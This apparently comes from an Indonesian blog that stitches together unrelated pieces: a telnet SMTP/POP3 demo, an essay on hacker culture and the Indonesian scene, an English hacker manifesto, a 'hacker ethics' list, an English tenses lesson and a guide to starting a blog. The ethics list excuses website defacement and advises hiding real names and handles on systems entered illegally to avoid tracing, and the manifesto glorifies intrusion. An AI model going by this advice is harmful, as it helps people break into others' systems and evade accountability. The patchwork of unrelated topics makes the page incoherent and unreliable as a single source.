--------------Melakukan komunikasi dengan host lain melalui telnet protocol.spyrozone:~$ telnet localhostTrying 127.0.0.1...Connected to localhost.Escape character is '^]'.Welcome to Linux 2.0.34.spyrozone login: spyrokidPassword: www.spyrozone.netLinux 2.0.34.Last login: Tue Nov 22 01:13:52 on tty4.No mail.spyrozone:~$ telnet localhost 25Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.220 spyrozone.net ESMTP Sendmail 8.9.0/8.9.0; Tue, 22 Nov 200403:52:51 +0800helo darling250 spyrozone.net Hello spyrokid@localhost [127.0.0.1], pleased tomeet youmail from: guest@spyrozone.net250 guest@spyrozone.net... Sender okrcpt to: untukmu@seorang.jauh.disana250 untukmu@seorang.jauh.disana... Recipient ok (will queue)data354 Enter mail, end with "." on a line by itselfKukirim lagu dan salam rinduku.250 EAA01615 Message accepted for deliveryquit spyrozone:~$ telnet localhost 110Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.+OK spyrozone POP3 Server (Version 1.005l) ready at user root+OK please send PASS commandpass www.spyrozone.net+OK 2 messages ready for root in /usr/spool/mail/rootstat+OK 2 7227retr 1quit
Okay, sekian dulu perkenalannya, untuk selanjutnya anda bisa menjelajah sendiri dengan perintah man.
all About HaCker
----------------------
Hacker atau Cracker?
----------------------
Jangan dulu punya anggapan buruk dengan yang namanya Hacker, karena anda mesti tahu seperti apa Hacker sejati itu. Masalahnya, ada sekelompok orang yang menyebut-nyebut dirinya sebagai Hacker padahal mereka itu adalah seorang Cracker. Hacker sejati sebenarnya tidak sejahat (atau bahkan tidak jahat sama sekali) seperti yang kebanyakan dipikirkan orang. Hacker adalah sekumpulan atau beberapa kelompok yang bertujuan untuk mengembangkan ilmu pengengetahuan dan sharing informasi bebas tanpa batas. Hacker adalah seseorang yang tertarik untuk mengetahui secara mendalam mengenai kerja suatu system,komputer, atau jaringan komputer. Mereka terdiri dari para programer yang ahli jaringan. Mereka jugalah yang berjasa membangun Internet lewat pengembangan sistem operasi UNIX.
Istilah Hacker sendiri lahir sekitar tahun 1959 dari MIT(Massacusetts Institute of Technology), sebuah universitas di Amerika yang terdiri dari orang-orang cerdas namun cenderung tidak mempercayai adanya Tuhan (Atheis). Saat itulah semua berawal, dari sebuah ruangan baru, "EAM room" pada Building 26 MIT, sebuah tempat yang merupakan nenek moyang dari "dunia baru" yang kini kita kenal, tempat nenek moyang sebuah mesin yang kini kita sebut sebagai "komputer", mesin yang mampu membawa kita menuju kelebihbaikan dengan kebebasan informasi, dunia para Hacker sejati.
Para Hacker selalu bekerjasama secara sukarela menyelesaikan masalah dan membangun sesuatu. Mereka selalu berbagi informasi, memberi jawaban serta berlomba-lomba untuk berbuat yang terbaik agar dihormati di lingkungannya. Mereka tidak pernah berhenti belajar untuk menjadi ahli dan sangat anti untuk melakukan sesuatu berulang-ulang dan membosankan. Mereka berpedoman pada kata-kata bijak : “Untuk mengikuti jalan - pandanglah sang ahli - ikuti sang ahli - berjalan bersama sang ahli - kenali sang ahli -jadilah sang ahli ”
Sementara itu, para cracker sibuk untuk memuaskan diri mereka dengan aktivitas Cracking. mulai dari membobol komputer, menebar virus (tanpa tujuan - beberapa Hacker sejati ada yang menulis virus namun dengan tujuan yang jelas), hingga mengakali telepon (Phreaking). Para Hacker menyebut mereka sebagai orang malas yang tidak bertanggung jawab. Jadi, sangat tidak adil jika kita tetap menganggap bahwa Hacker itu jahat dan menakutkan karena sangat jelas bahwa Hacker bersifat membangun sementara Cracker bersifat membongkar.
Ingin jadi seorang Hacker?? Tidak ada kata sulit bagi mereka yang mau belajar. Untuk menjadi seorang Hacker anda harus menguasai beberapa bahasa pemrograman dan tentu saja sikap-sikap yang bisa membuat anda diterima di lingkungan mereka. Biasanya calon Hacker memulai dengan belajar bahasa [Python] karena bahasa ini tergolong bahasa pemrograman yang termudah. Bahasan mengenai bahasa ini bisa anda lihat di www.python.org. Setelah itu anda juga harus menguasai [java] yang sedikit lebih sulit akan tetapi menghasilkan kode yang lebih cepat dari Python, [C], [C++] yang menjadi inti dari UNIX, dan [Perl] (www.perl.com ) serta [LISP] untuk tingkat lanjut.
Setelah menguasai semua kemampuan dasar diatas, calon Hacker disarankan untuk membuka salah sati versi UNIX open-source atau mempelajari LINUX, membaca kodenya, memodifikasi dan menjalankannya kembali. Jika mengalami kesulitan, disarankan untuk berkomunikasi dengan club pengguna Linux [ www.linpeople.org]
Sisi menarik dari seorang Hacker adalah dimana mereka saling bahu-membahu dalam menyelesaikan sebuah masalah dan membangun sesuatu. Tetapi sayangnya, kehidupan mereka yang menghabiskan 90% waktunya untuk aktivitas Hacking bukanlah hal yang baik. Kalau memang benar-benar ingin jadi Hacker, jadilah Hacker yang baik dengan memanfaatkan Teknologi Informasi untuk mengembangkan da'wah Islam.
------------------------------
Manifesto Sang Hacker
------------------------------
It happened again today. Another one sold out, sacrificing their dreams to the corporate security machine.
Damn whitehats, noone believes in a cause anymore.
Another bug was released today to the security mailing lists.
Damn Whitehats, they know not what they do.
Another potential computer genius was relegated to an existence of nothing more than a 9-5 cubicle-dwelling promotional tool.
Damn whitehats, putting money before discovery.
Another family was ravaged by cooperations and governments bent on instituting control over individuality, monitoring every action..
Another kid was sentenced today for searching for a way to understand the world. Convicted and imprisoned, not because of what he did, but because of what others thought he could do.
Damn Whitehats - Fear keeps them in business.
The public, believing anything it hears from "reputed experts". Screaming for blood. Looking for something to blame for their lost hope. Their lost ability to seek out new knowledge. Fear consumes them. They cannot let go of their uncertainty and doubt because there is no meaning. They seek to destroy explorers, outlaws, curiosity seekers because they are told too. They are told these people that seek information are evil. Individuality is evil. Judgment should be made based upon a moral standard set in conformity rather than resistance. Lives are ruined in the name of corporate profit and information is hoarded as a commodity.
Damn Whitehats, you were once like us.
I was a Whitehat. I had an awakening. I saw the security industry for what is really is. I saw the corruption, the lies, the deceit, the extortion of protection money in the form of subscription services and snake-oil security consultants.
I wanted to know, I wanted to understand, I wanted to go further then the rest. I never want to be held down by contracts and agreements.
You say I should grow up. You say I should find better things to do with my time. You say I should put my talent to better use. You're saying I should fall in line with the other zombies and forget everything I believe in and shun those with my drive, my curiosity, tell them it's not worth it, deny them of the greatest journey they will ever experience in their lives.
I am not a blackhat. The term is insulting, it implies I am the opposite of you. You think i seek to defeat security, when I seek something greater. I will write exploits, travel through networks, explore where you are afraid to go. I will not put myself in the spotlight and release destructive tools to the public to attract business. I will not feed the fear and hysteria created by the security industry to increase stock prices. I can, and will, code and hack and find out everything I can for the same reasons I did years ago.
I am a Hacker, dont try to understand me, you lost all hope of that when you crossed the line. You fail to see the lies and utter simplicity behind the computer security industry. Once, you may have shared my ideals. You fail to see the fact that security is a maintenance job.
Youve given up hope for something better. You fail to see yourself as worthless, fueling an industry whose cumulative result is nothing. I dont hate you, I dont even really care about you - If you try to stop me, you will fail, because I do this out of love -- you do it for money.
This is our world now.. the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat and lie to us and try to make us belive it is for our own good, yet we're the ciminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.I am a Hacker, and this is my manifesto. You can't stop me, and you certainly can't stop us all.
------------------------
Etika Hacker
------------------------
* Akses ke komputer-komputer - dan segala sesuatu yang berpotensi untuk mengajarmu mengenai dunia ini haruslah bebas dan total. Semua informasi haruslah tersedia secara bebas / cuma-cuma. * Jangan percaya otoriter/kemapanan - dukung desentralisasi. * Hackers haruslah dinilai berdasarkan kemampuan hackingnya - bukannya berdasar kriteria seperti derajat, umur, ras, atau posisi. Anda bisa berkarya seni dan keindahan melalui komputer. Komputer dapat merubah hidupmu menuju kelebih baikan.Sedangkan dalam prakteknya, Etika Hacker diatas (prinsip) dipraktekkan dengan mengikuti kode etik:* Jangan merusak sistem manapun secara sengaja. (rmrf hard disk, crash, overflow, dll. Mengubah tampilan index.html sebuah website sah-sah saja asalkan file aslinya disimpan di sistem yang sama dan bisa diakses oleh administrator.) * Jangan mengubah file-file sistem selain yang diperlukan untuk mengamankan identitas anda. * Jangan meninggalkan nama asli anda (maupun orang lain), handle asli, maupun nomor telepon asli di sistem apapun yang anda akses secara ilegal. Mereka bisa dan akan melacak anda dari handle anda. * Berhati-hatilah dalam berbagi informasi sensitif. Pemerintah akan menjadi semakin pintar. Secara umum, jika anda tidak mengenal siapa sebenarnya lawan bicara/chatmu, berhati-hatilah! * Jangan memulai dengan mentargetkan komputer-komputer milik pemerintah. Ya, ada banyak sistem milik pemerintah yang cukup aman untuk di-hack, namun resikonya lebih besar dari keuntungannya. Ingat, pemerintah punya dana yang tak terbatas dibanding dengan ISP/Perusahaan yang objektifnya adalah untuk mencari profit..
--------------------------------------
Tingkatan-tingkatan Dalam Dunia Hacker
--------------------------------------
Elite :
Juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistemoperasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil,menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa di ketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.
Semi Elite:
Hacker ini biasanya lebih mudadaripada Elite.Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecilprogram cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh Hacker kaliber ini, sialnya oleh para Elite mereka sering kali di kategorikan Lamer.
Developed Kiddie:
Sebutan ini terutamakarena umur kelompok ini masih muda (ABG)&masih sekolah. Mereka membaca tentang metoda hacking & caranya di berbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya.Umumnya mereka masih menggunakan Grafik UserInterface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.
Script Kiddie:
Seperti developed kiddie, Script Kiddie biasanya melakukan aktifitas di atas. Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal. Biasanya tidak lepas dari GUI. Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.
Lamer:
Mereka adalah orang tanpa pengalaman & pengetahuan yang ingin menjadi Hacker (wanna-be Hacker). Mereka biasanya membaca atau mendengar tentang Hacker & ingin seperti itu. Penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS. Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja.
----------------------------------
Hacking Scene di indonesia.----------------------------------
Pada era 80-an hingga 1994, lahirlah para Hacker Indonesia yang boleh dibilang masih "ASLI". Pada umumnya mereka lahir secara otodidak dan secara kebetulan memiliki akses jaringan. Biasanya terdiri dari para pegawai perusahaan-perusahaan besar atau instansi-instansi pemerintah. Mereka ini terdiri dari orang-orang yang berkecimpung di bidang UNIX, VAX/VMS, dan tentu saja ahli jaringan.
Ketika Internet mulai marak di Indonesia, mulailah masyarakat begitu antusias mempelajari komputer terutama network security. Jika dulunya tidak ada aktivitas yang bersifat merusak, kini perlahan hal itu mulai berubah. Remaja-remaja ABG mulai "berterbangan" di Internet, mencari tutorial-tutorial baru, mencari pengetahuan-pengetahuan komputer yang tidak mereka dapatkan di sekolah. Mereka menjadi semakin pintar, bahkan melebihi guru-guru di sekolah mereka.Namun layaknya seorang ABG, sebagian besar dari mereka jiwanya masih labil. Pengetahuan mereka masih sangat minim dan memiliki semangat tinggi untuk merusak. Mereka masih belum mengerti arti "Hack" yang sebenarnya. Mereka dengan sombong dan tidak tau malu menyebut diri mereka Hacker hanya karena berhasil mengakali Billing, menjalankan email BOMB, menjalankan exploit-exploit. Padahal mereka sama sekali tidak tau bagaimana tool yang mereka gunakan itu sendiri bekerja. Mereka tidak mengenal sang system, namun dengan sombong mereka menyebut dirinya Hacker. Tanpa tau apa itu TCP/IP, namun dengan banga menyebut dirinya Hacker. Padahal para Hacker sejati Indonesia yang kemampuannya sudah setara dengan para wizard di Amerika dengan tegas menolak dirinya disebut Hacker lantaran masih selalu merasa ilmu yang dimilikinya belum cukup. Yeah, inilah Hacking Scene (pangung perhackingan) di Indonesia yang cukup menyedihkan ^_^ namun bisa juga diangap wajar dan manusiawi :)
Akan tetapi tidak semua dari mereka yang hanya bermulut besar. Tentu saja pasti ada diantaranya yang benar-benar memiliki kemampuan walaupun jumlahnya sedikit. Mereka yang sedikit ini kemudian banyak yang mengadakan pertemuan-pertemuan baik secara sengaja maupun tidak sengaja. Mereka tetap berexplorasi dan mencari pengetahuan, beraktivitas seperti biasa di lingkungannya tanpa menimbulkan kecurigaan atau prasangka dari masyarakat sekitarnya.
Dari pertemuan-pertemuan yang dilakukan, mulailah bermunculan organisasi-organisasi Hacker dan Cracker. Diantaranya yang cukup ternama ialah: AntiHackerlink (sudah tidak kedengaran lagi keberadaannya), Crack Sky (biasa juga dikenal sebagai Cracker Society, sebuah organisasi Underground yang berpusat di Surabaya), Kecoak Elektronik, ECHO, Jasakom Community, IndoHack, Secreet Colony, dan masih banyak lagi. Pada umumnya setiap daerah memiliki organisasi-organisasi sendiri dan nama organisasi disesuaikan dengan daerah asal mereka. Misalnya untuk komunitas Hacker Batam biasa menyebut dirinya Batam Hacker, untuk daerah malang biasa menyebut dirinya MalangHackerlink, dan lain sebagainya.
Aktivitas-aktivitas yang kini mereka lakukan cukup beragam. Pada umumnya ialah memoderasi forum-forum dan milis besar, menjadi OP di IRC-IRC Channel ternama, saling berbagi pengetahuan dengan menulis tutorial-tutorial, Artikel, Advisories seputar bugs-bugs baru beserta cara pencegahannya, mengadakan seminar-seminar tentang Network Security, menulis program open-source, serta melakukan berbagai aktivitas "Hack" sebagai sarana pemenuhan kebutuhan untuk berexplorasi.
Pada umumnya para Hacker peka terhadap keadaan lingkungannya. Anggapan bahwa mereka adalah orang-orang yang individualis dan egois tampaknya harus segera dihapuskan. Hal ini telah lama terbukti, anda bisa menyaksikan sendiri bagaimana pertarungan para Hacker Indonesia dengan Hacker-Hacker Malaysia saat negara itu ingin merampas Ambalat dari Indonesia. Atau perseteruan Hacker Indonesia melawan Hacker-Hacker dari Australia saat mereka mengusik Indonesia. Inilah cara berbeda para Hacker dalam mempertahankan negaranya, bukan dengan senjata, bukan dengan kekerasan, namun dengan ilmu pengetahuan.
TENSES
Bentuk-Bentuk Waktu
Tenses dalam bahasa Inggris berarti time (waktu). Kata tense berarti kata kerja atau kumpulan kata yang digunakan untuk mengekspresikan hubungan waktu. Tenses menunjukkan apakah itu dalam tindakan, aktivitas waktu sekarang, lampau atau akan datang sebagai tambahan verb tenses menunjukkan apakah aktivitas itu sudah berlangsung pada waktu lampau atau masing-masing berlangsung hingga sekarang.
Di dalam kata kerja bahasa Inggris mempunyai 5 bentuk susunan.
Simple form (infinitif) work give sing
Third person singular works gives sings
Present participle working giving singing
Past tense worked gave sang
Past participle worked given sung
Kata kerja work adalah kata kerja yang umum yang mewakili kata kerja dalam bahasa Inggris. Dan kata itu disebut dengan regular verb (kata kerja beraturan). Regular verb dari past tense dan past participle di bentuk dengan menambahkan -d dan -ed untuk kata kerja yang dalam bentuk past tense dan past participle berbeda. Kata kerja tersebut disebut Irregular verb (kata kerja tidak beraturan).
Semua kata kerja bahasa Inggris baik itu regular maupun irregular orang ketiga tunggal dengan menambahkan -s atau -es. Dan semua bentuk present participle dengan menambahkan -ing.
Dari kelima skema diatas hanya ada tiga yang dapat digunakan sebagai predikat suatu kalimat. Ketiganya itu adalah:
1. the simple
2. the thirdperson singular
3. the past tense
untuk yang lainnya dapat digunakan dengan menambahkan auxilaries.
1. Simple Present Tense (waktu sekarang sederhana)
Rumus:
I/We/You/They + infinitive
He/She/It + infinitive + s/es
Fungsi bentuk waktu ini adalah untuk:
a. Menyatakan suatu perbuatan yang berulang-ulang/ biasa dilakukan
Contoh:
· - My mother goes to market every morning.
Ibuku pergi ke pasar setiap pagi.
· - I go to school everyday.
Aku pergi ke sekolah setiap hari.
· - I usually have my breakfast.
Aku biasanya sarapan.
· b. Menyatakan kebenaran umum (general thruth)/ fakta
Contoh:
· - There are seven days in a week.
Ada tujuh hari dalam seminggu.
· - The sun rises in the east.
Matahari terbit di timur.
· - A cat is an animal.
Seekor kucing adalah seekor binatang.
Karena kita berbicara tentang Present Tense, maka kata kerja yang digunakan adalah kata kerja bentuk pertama. Apabila yang menjadi subjeknya adalah orang ketiga tunggal, maka bentuk kata kerjanya ditambah s/es.
Jika infinitive (kata kerja asli) didahului oleh modal (can, will, must, may, shall, could, would, ough to, might, should) maka bentuknya tetap tanpa tambahan s/es meskipun subjeknya adalah orang ketiga tunggal.
2. Present Continuous Tense (waktu berlangsung sekarang)
Rumus
Subject + TO BE (am, are, is) + ing
Kegunaan bentuk waktu ini adalah :
a. Untuk menyatakan perbuatan yang sedang berlangsung seperti :
- We are studying Arabic now.
kami sedang mempelajari bahasa Arab sekarang.
- I am writing the English now.
Saya sedang menulis bahasa inggris sekarang.
b. Untuk menyatakan perbuatan yang akan datang, seperti :
- I am going to bali again =
Saya akan pergi ke bali lagi
- We are writing a letter again =
Kami akan menulis surat lagi.
CATATAN:
Ada sekelompok kata kerja yang tidak boleh dibentuk menjadi Present Continuous, yaitu:
1. Kata kerja yang menyatakan perasaan, seperti:
- like = suka
- dislike = tidak menyukai
- want = ingin
2. Kata kerja yang berhubungan dengan panca indera, seperti:
- feel = merasa
- see = melihat
- tenses = merasakan
- smell = mencium
- hear = mendengar
3. Kata kerja yang menyatakan pikiran atau pendapat, seperti:
- believe = percaya
- think = mengira
- forget = lupa
- expect = mengharapkan
think yang artinya memikirkan, boleh dijadikan bentuk present continuous, seperti:
- I am thinking about my husband
saya sedang memikirkan tentang suami saya
- I am thinkling about the studying
saya sedang memikirkan pelajaran itu.
3. Present Perfect Tense (Waktu selesai sekarang)
Rumus :
I/WE/YOU/THEY + HAVE + PAST PARTICIPLE
HE/SHE/IT + HAS + PAST PARTICIPLE
Kegunaan bentuk ini adalah :
· a. Untuk menyatakan perbuatan yang dilakukan dalam waktu lampau dan masih berlangsung hingga sekarang, seperti:
· - I have taught English since two years ago.
· - He has lived there for ten years.
· b. Untuk menerangkan perbuatan yang telah selesai secara sempurna, seperti:
- He has writen.
· - I have seen it.
· c. Untuk menerangkan suatu perbuatan ulangan pada waktu yang tidak menentu sebelum sekarang, seperti:
· - They have heard the problem before.
· - I have already seen him.
4. Present Perfect Continuous Tense (waktu selesai dengan berlangsung sekarang)
Rumus :
I/WE/YOU/THEY + HAVE + BEEN + INFINITIVE + ING
HE/SHE/IT + HAS + BEEN + INFINITIVE + ING
Bentuk ini dipergunakan untuk menyatakan perbnuatan yang dimulai pada waktu lampau dan masih berlangsung hingga sekarang.
· - She has been staying at my house this year.
· - I have been waiting for you since eight o'clock.
5. Simple Past Tense (waktu lampau sederhana)
Rumus
Subject + V2
Bentuk ini dipergunakan untuk menyatakan suatu perbuatan yang telah terjadi pada waktu lampau dalam bentuk sederhana dan diketahui waktu terjadinya itu. Seperti:
· - I went to Bali yesterday.
· - They came here last week.
· - she wrote letter to me yesterday.
6. Past Continuous Tense (waktu berlangsung lampau)
Rumus
Subject + be (was/were) + V ing
Bentuk ini dipergunakan untuk :
· a. untuk menyatakan perbuatan yang sedang terjadi pada waktu lampau.
· - I was watching television all afternoon yesterday when you called me.
· - I was bathing in this river I heard a fairfull cry.
7. Past Perfect Tense (waktu selesai lampau)
Rumus
Subject + had + past participle
Bentuk ini digunakan untuk menyatakan suatu perbuatan yang telah selesai sebelum perbuatan lain dilakukan pada waktu lampau, seperti:
· - I told her my name after she had asked me twice.
· - When my father arrived, I had writen the letter.
8. Past Perfect Continuous Tense (waktu sedang berlangsung selesai lampau)
Rumus
Subject + had + been + Verb ing
Bentuk ini dipergunakan untuk menyatakan perbuatan yang telah dimulai dan masih berlangsung pada waktu lampau, seperti:
- When she came to Bali in 2000, I had already been living there about three years.
9. Simple Future Tense (waktu akan datang sederhana)
Rumus
Subject + will (modal) + verb 1
Bentuk ini dipergunakan untuk menyatakan perbuatan yang akan terjadi, seperti:
- I will post the letter.
- He will go to Bali tomorrow.
- I will help you to do your homework tonight.
10. Future Continuous Tense (waktu sedang berlangsung akan datang)
Rumus
Subject + will + be + verb ing
Bentuk ini dipergunakan untuk menunjukkan suatu perbuatan yang akan sedang terjadi, seperti:
· - I will be writing at 6 o'clock tomorrow morning.
11. Future Perfect Tense (waktu selesai akan datang)
Rumus
Subject + will + have + past participle
Bentuk ini dipergunakan untuk menyatakan suatu perbuatan yang sudah dimulai pada waktu lampau, dan segera selesai pada waktu yang akan datang, seperti :
· - I will have done my works by the end of this year.
· - By next month I will have read this book.
12. Future Perfect Continuous Tense (waktu sedang berlangsung selesai akan datang)
Rumus
Subjetc + will + have + been + verb ing
Bentuk ini pengertiannya adalah future perfect, tetapi kemungkinan masih dilanjutkan pada waktu mendatang.
- By the end of this of this year I will have been studying Arabic for two years
- I will have been finishing my assignments by the time you go home.
ni Dya ....
Pengantar Membuat Blog
Nah, masalah kamu kini bisa terpecahkan! Karena di internet kini banyak layanan Weblog / Blog yang membutuhkan tenaga penulis dalam jumlah tak terbatas, dengan tanpa kualifikasi apapun! Hebatnya, dengan menjadi penulis weblog kamu sekaligus diangkat menjadi Pemimpin Redaksinya (bahkan termasuk sebagai lopernya!).
Media Berekspresi
Weblog yang kemudian lebih popular disebut blog merupakan situs pribadi yang biasa digunakan oleh pemiliknya sebagai diary / catatan pribadi secara online. Pemiliknya kerap menjadikan blog sebagai media ekspresi tentang segala hal yang mereka alami, tentang keprihatian-keprihatian mereka dalam berbagai sendi kehidupan. Namun berbeda dengan diary dalam pengertian biasa yang amat bersifat pribadi, Blog sebagai diary biasanya bersifat publik.
Setiap penjelajah dunia maya bisa mengaksesnya. Dengan beberapa teknik promosi sederhana, sebuah blog bisa memiliki jumlah pembaca yang tidak sedikit. Blog yang dilengkapi dengan tools Sitemeter , bisa mendeteksi lalulintas pengunjung blog tersebut dalam hitungan detik. Situs Blog www.instapundit.com yang dikelola oleh Glenn H. Reynolds, seorang Profesor Hukum, kini memiliki pembaca tak kurang dari 45.000 orang dalam sehari!!!
Keunikan sebuah blog dibanding dengan situs pribadi terletak pada sifatnya yang interaktif. Dengan tools commenting system , seorang pengunjung bisa memberikan komentar, masukan, hingga kritik terhadap suatu tulisan. Wajar jika kemudian, catatan pribadi di Internet ini kemudian dengan cepat berkembang menjadi sebuah komunitas sharing, diskusi dan bertukar informasi.
Di luar negeri, tidak sedikit blog yang dikelola oleh sebuah team, secara professional, diupdate berkala dengan mengambil suatu bidang perhatian khusus. Misalnya www.blogcritics.org yang menyempitkan daerah penulisannya pada masalah-masalah seputar musik, film, buku dan gaya hidup. Atau juga www.nanodot.org yang banyak mengulas masalah-masalah iptek.
Di Indonesia sendiri ( Indonesia atau luar negeri hanya mengacu pada pemiliknya, bukan lokasi, karena banyak penulisnya adalah orang Indonesia yang berdomisili di luar negeri) blog berkembang sebagai hobby. Umumnya kaum Blogger Indonesia datang dari kalangan mahasiswa dan professional muda. Hampir bisa dipastikan, mereka adalah orang-orang yang gemar menulis. Belakangan, banyak jurnalis dan publik figur yang juga memiliki Blog. Sebut saja macam Angelina Sondakh, Tiara Lestari, Wimar Witoelar, Fira Basuki, FX. Rudi Gunawan dari kalangan publik figur yang hingga tulisan ini dibuat masih rajin mengupdate blognya. Dari kalangan jurnalis beberapa di antaranya adalah : Budi Putra, Pujiono, Dodi, Andreas Harsono, Farid Gaban, dsb.
Bahkan kini banyak kalangan aktivis dan LSM yang menggunakan media blog untuk mensosialisasikan pemikiran atau issu-issu sesuai dengan pusat keprihatinan masing-masing. Situs konvensional yang terasa kaku dan tidak interaktif (baca = demokratis) dirasa sudah tidak sejalan dengan semangat mereka memperjuangkan demokratisasi. Beberapa di antaranya : Indoprogress yang dibuat oleh Martin Manurung dan Coen Husain Pontoh , Srikandi Demokrasi Indonesia , Paras Indonesia , dsb. Namun sayang, masih ada beberapa LSM yang - walaupun menggunakan fasilitas blog - tapi tidak mengijinkan visitor untuk memberikan tanggapan (comment)
Bagaimana Mulai Membuat Blog?
Ada banyak penyedia layanan Weblog di Internet, mulai dari yang gratisan hingga yang harus merogoh kocek. Untuk pemula, ada baiknya mencoba dulu layanan gratis di www.blogger.com . Ini adalah penyedia layanan blog tertua semenjak dikembangkan tahun 1997, yang beberapa tahun silam telah dibeli oleh Google. Hanya dalam hitungan menit kamu telah bisa mempublikasikan tulisan kamu di dunia internet via blogger.com !
Atau jika kamu telah sedikit paham tantang bahasa html dan script-script pemograman web, kamu bisa menggunakan script-script siap pakai yang bisa didownload secara gratis. Salah satu yang menurut saya cukup powerful dan user friendly adalah WordPress (seperti yang sekarang saya gunakan ini). WordPress menyediakan banyak plugin serta theme yang bisa mempercantik tambilan blog kamu. Kamu bisa mendownloadnya di sana. Namun, untuk model macam ini, kamu harus memiliki hosting (bisa gratis bisa yang bayar) dan harus mendukung bahasa pemograman web macam PHP. Mau buat yang model macam ini, coba cari hosting berbasis php di : free-webhost
Fasilitas Blogging yang yang hampir-hampir siap pakai (nggak perlu ngerti bahasa HTML dsb) dan nggak perlu pusing mikirin hosting
Fasilitas Blogging yang membutuhkan sedikit pengetahuan ttg script / bahasa pemograman web)
blogger
WordPress
blogsome
Movable Type
blogdrive
pMachine
blog-city
TypePad
blog-indosiar
b2evolution
ngeblog.web.id
nukleus
blog boleh.com
Jika kamu memutuskan untuk memiliki hosting untuk membuat blog, pilihlah yang menyediakan fasilitas fantastico. Fantastico adalah kumpulan script siap pakai yang terintegrasi pada hosting milik kita. Biasanya fantastico menyediakan beberapa fasilitas blogging (Wordpress, pMachine, b2evolution, nukleus - tergantung hostingnya). Tinggal dilakukan proses penginstalan kecil-kecilan (asal klak-klik tok!) maka jadilah blog kamu! Jadi kamu nggak usah repot-repot mendownload script blogging semacam Wordpress lagi, lalu menguploadnya ke hosting milik kamu! Kan jadi nggak kerja dua kali!
Hampir semua hosting bayar menyediakan fasilitas fantastico (untuk memastikannya, cek di menu fasilitasnya). Namun untuk yang gratisan memang nggak banyak yang sebegitu baik menyediakan fantastico. Mau coba yg gratis dulu? Coba masuk ke : gig4free, 1freehost atau MyCHost .
Membangun Komunitas Blog
Setelah kamu memiliki Blog, pekerjaan terakhir yang juga menyenangkan yaitu mulai memperkenalkan blog kamu ke publik. Publik terdekat tentu saja adalah kaum blogger sendiri. Silahkan daftarkan Blog milikmu di www.blog-indonesia.com. Ini adalah direktori blog yang ditulis oleh blogger-blogger Indonesia. Atau kamu bisa mendaftarkan blog kamu di Technorati yang dianggap sebagai direktori blog paling lengkap sedunia.
Lalu, mulailah blogwalking (melakukan perjalanan maya dari satu blog-ke blog lain). Jika kamu merasa tertarik dengan suatu tulisan di blog yang kamu kunjungi, tinggalkan komen di sana, dan tentu saja jangan lupa mencantumkan alamat url blog kamu sendiri. Biasanya, pemilik blog itu nanti akan melakukan kunjungan balik ke blog milik kita.
Jika masih ada yang dibingungkan, saya siap membantu. Kirimkan email ke alamat email saya di yuljeworo@telkom.net. Memang, saya bukanlah termasuk orang yang ahli di bidang beginian, namun walau dengan kemampuan yang terbatas, saya tergerak untuk ikut memasyarakatkan blog dan membloggingkan masyarakat…. (hehe garing!!).
Info Seputar Blog
http://enda.goblogmedia.com/apa-itu-blog.html ——- ini Blog milik Bang Enda berisi ulasan lengkap (jauh lebih lengkap dari punya saya .. ) tentang blog beserta sejarahnya.
http://www.jdlasica.com/articles/roundup.html ——–berisi link-link situs-situs yang menjelaskan tentang apa itu blog, sekaligus tanggapan dari berbagai kalangan mengenai fenomena blog
http://thegadget.wordpress.com/apa-itu-blog/ — punya Mas Budi Putra
Yang berhubungan :Blgwalking yang Efisien dengan Memanfaatkan RSS (Untuk Pemula) Read More......





